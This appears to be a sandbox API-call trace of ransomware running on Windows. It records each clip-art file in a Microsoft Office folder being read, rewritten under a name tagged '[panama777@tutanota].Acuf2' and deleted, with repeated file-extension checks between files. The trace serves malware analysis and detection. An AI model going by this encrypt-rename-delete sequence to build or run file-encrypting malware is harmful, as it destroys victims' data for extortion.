	[0260.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.971] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.971] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.971] GetLastError () returned 0x0
	[0260.971] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x8fc, lpOverlapped=0x0) returned 1
	[0260.974] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x900, lpOverlapped=0x0) returned 1
	[0260.975] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.975] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.975] SetEndOfFile (hFile=0x33c) returned 1
	[0260.975] CloseHandle (hObject=0x33c) returned 1
	[0260.975] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.975] SetEndOfFile (hFile=0x358) returned 1
	[0260.977] CloseHandle (hObject=0x358) returned 1
	[0260.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1
	[0260.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.977] lstrlenW (lpString=".doc") returned 4
	[0260.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.977] lstrlenW (lpString=".docx") returned 5
	[0260.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.977] lstrlenW (lpString=".pdf") returned 4
	[0260.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.977] lstrlenW (lpString=".xls") returned 4
	[0260.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.977] lstrlenW (lpString=".xlsx") returned 5
	[0260.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.977] lstrlenW (lpString=".ppt") returned 4
	[0260.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.978] lstrlenW (lpString=".zip") returned 4
	[0260.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.978] lstrlenW (lpString=".rar") returned 4
	[0260.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString=".bz2") returned 4
	[0260.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString=".7z") returned 3
	[0260.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.978] lstrlenW (lpString=".dbf") returned 4
	[0260.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.978] lstrlenW (lpString=".1cd") returned 4
	[0260.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.978] lstrlenW (lpString=".jpg") returned 4
	[0260.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.978] lstrlenW (lpString=".doc") returned 4
	[0260.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString=".docx") returned 5
	[0260.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.978] lstrlenW (lpString=".pdf") returned 4
	[0260.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.978] lstrlenW (lpString=".xls") returned 4
	[0260.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.978] lstrlenW (lpString=".xlsx") returned 5
	[0260.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.978] lstrlenW (lpString=".ppt") returned 4
	[0260.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.979] lstrlenW (lpString=".zip") returned 4
	[0260.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.979] lstrlenW (lpString=".rar") returned 4
	[0260.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.979] lstrlenW (lpString=".bz2") returned 4
	[0260.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.979] lstrlenW (lpString=".7z") returned 3
	[0260.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.979] lstrlenW (lpString=".dbf") returned 4
	[0260.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.979] lstrlenW (lpString=".1cd") returned 4
	[0260.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63
	[0260.979] lstrlenW (lpString=".jpg") returned 4
	[0260.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.979] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.979] lstrlenW (lpString="DD01167_.WMF") returned 12
	[0260.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.980] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2080) returned 1
	[0260.980] CloseHandle (hObject=0x358) returned 1
	[0260.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20
	[0260.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.980] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.980] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.980] GetLastError () returned 0x0
	[0260.980] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x820, lpOverlapped=0x0) returned 1
	[0260.982] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x830, lpOverlapped=0x0) returned 1
	[0260.982] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.983] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.983] SetEndOfFile (hFile=0x33c) returned 1
	[0260.983] CloseHandle (hObject=0x33c) returned 1
	[0260.983] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.983] SetEndOfFile (hFile=0x358) returned 1
	[0260.985] CloseHandle (hObject=0x358) returned 1
	[0260.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1
	[0260.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.985] lstrlenW (lpString=".doc") returned 4
	[0260.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.985] lstrlenW (lpString=".docx") returned 5
	[0260.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.985] lstrlenW (lpString=".pdf") returned 4
	[0260.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.985] lstrlenW (lpString=".xls") returned 4
	[0260.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.985] lstrlenW (lpString=".xlsx") returned 5
	[0260.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.986] lstrlenW (lpString=".ppt") returned 4
	[0260.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.986] lstrlenW (lpString=".zip") returned 4
	[0260.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.986] lstrlenW (lpString=".rar") returned 4
	[0260.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString=".bz2") returned 4
	[0260.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString=".7z") returned 3
	[0260.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.986] lstrlenW (lpString=".dbf") returned 4
	[0260.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.986] lstrlenW (lpString=".1cd") returned 4
	[0260.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.986] lstrlenW (lpString=".jpg") returned 4
	[0260.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.986] lstrlenW (lpString=".doc") returned 4
	[0260.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString=".docx") returned 5
	[0260.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.986] lstrlenW (lpString=".pdf") returned 4
	[0260.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.986] lstrlenW (lpString=".xls") returned 4
	[0260.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.986] lstrlenW (lpString=".xlsx") returned 5
	[0260.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.987] lstrlenW (lpString=".ppt") returned 4
	[0260.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.987] lstrlenW (lpString=".zip") returned 4
	[0260.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.987] lstrlenW (lpString=".rar") returned 4
	[0260.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.987] lstrlenW (lpString=".bz2") returned 4
	[0260.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.987] lstrlenW (lpString=".7z") returned 3
	[0260.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.987] lstrlenW (lpString=".dbf") returned 4
	[0260.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.987] lstrlenW (lpString=".1cd") returned 4
	[0260.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63
	[0260.987] lstrlenW (lpString=".jpg") returned 4
	[0260.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.987] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.987] lstrlenW (lpString="DD01168_.WMF") returned 12
	[0260.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.988] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2004) returned 1
	[0260.988] CloseHandle (hObject=0x358) returned 1
	[0260.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20
	[0260.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.988] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.988] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.988] GetLastError () returned 0x0
	[0260.988] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x7d4, lpOverlapped=0x0) returned 1
	[0261.274] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x7e0, lpOverlapped=0x0) returned 1
	[0261.275] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.275] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.275] SetEndOfFile (hFile=0x33c) returned 1
	[0261.275] CloseHandle (hObject=0x33c) returned 1
	[0261.275] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.275] SetEndOfFile (hFile=0x358) returned 1
	[0261.277] CloseHandle (hObject=0x358) returned 1
	[0261.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1
	[0261.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.277] lstrlenW (lpString=".doc") returned 4
	[0261.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.277] lstrlenW (lpString=".docx") returned 5
	[0261.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.278] lstrlenW (lpString=".pdf") returned 4
	[0261.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString=".xls") returned 4
	[0261.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.278] lstrlenW (lpString=".xlsx") returned 5
	[0261.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.278] lstrlenW (lpString=".ppt") returned 4
	[0261.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.278] lstrlenW (lpString=".zip") returned 4
	[0261.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.278] lstrlenW (lpString=".rar") returned 4
	[0261.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString=".bz2") returned 4
	[0261.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString=".7z") returned 3
	[0261.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.278] lstrlenW (lpString=".dbf") returned 4
	[0261.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.278] lstrlenW (lpString=".1cd") returned 4
	[0261.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.278] lstrlenW (lpString=".jpg") returned 4
	[0261.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.278] lstrlenW (lpString=".doc") returned 4
	[0261.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString=".docx") returned 5
	[0261.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.279] lstrlenW (lpString=".pdf") returned 4
	[0261.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString=".xls") returned 4
	[0261.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.279] lstrlenW (lpString=".xlsx") returned 5
	[0261.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.279] lstrlenW (lpString=".ppt") returned 4
	[0261.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.279] lstrlenW (lpString=".zip") returned 4
	[0261.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.279] lstrlenW (lpString=".rar") returned 4
	[0261.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString=".bz2") returned 4
	[0261.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString=".7z") returned 3
	[0261.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.279] lstrlenW (lpString=".dbf") returned 4
	[0261.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.279] lstrlenW (lpString=".1cd") returned 4
	[0261.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63
	[0261.279] lstrlenW (lpString=".jpg") returned 4
	[0261.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.279] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.280] lstrlenW (lpString="DD01585_.WMF") returned 12
	[0261.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.280] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2524) returned 1
	[0261.280] CloseHandle (hObject=0x358) returned 1
	[0261.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20
